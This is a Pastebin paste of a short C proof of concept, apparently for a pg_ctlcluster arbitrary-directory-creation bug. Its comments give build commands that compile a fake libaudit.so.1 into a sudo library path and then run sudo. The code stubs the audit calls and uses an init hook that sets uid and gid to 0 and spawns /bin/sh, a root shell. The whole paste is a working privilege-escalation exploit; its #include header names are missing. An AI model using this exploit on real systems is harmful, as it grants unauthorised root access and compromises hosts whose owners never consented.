khaclep007

Untitled

Dec 11th, 2021
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.49 KB | None | 0 0
  1. /*
  2. * Author: Rich Mirch @0xm1rch
  3. * PoC for pg_ctlcluster arbitrary directory creation
  4. * gcc -fPIC -o woot.o -Wall -c woot.c
  5. * gcc -Wall -shared \
  6. * -Wl,-soname,libaudit.so.1 \
  7. * -Wl,-init,woot \
  8. * -o /usr/lib/sudo/haswell/libaudit.so.1 woot.o
  9. * sudo
  10. */
  11. #include
  12. #include
  13. #include
  14.  
  15. void audit_open()
  16. {
  17. return;
  18. }
  19.  
  20. void audit_log_user_message()
  21. {
  22. return;
  23. }
  24.  
  25. void woot(){
  26. setreuid(0,0);
  27. setregid(0,0);
  28. execl("/bin/sh","/bin/sh",NULL);
  29. }
Advertisement
Add Comment
Please, Sign In to add comment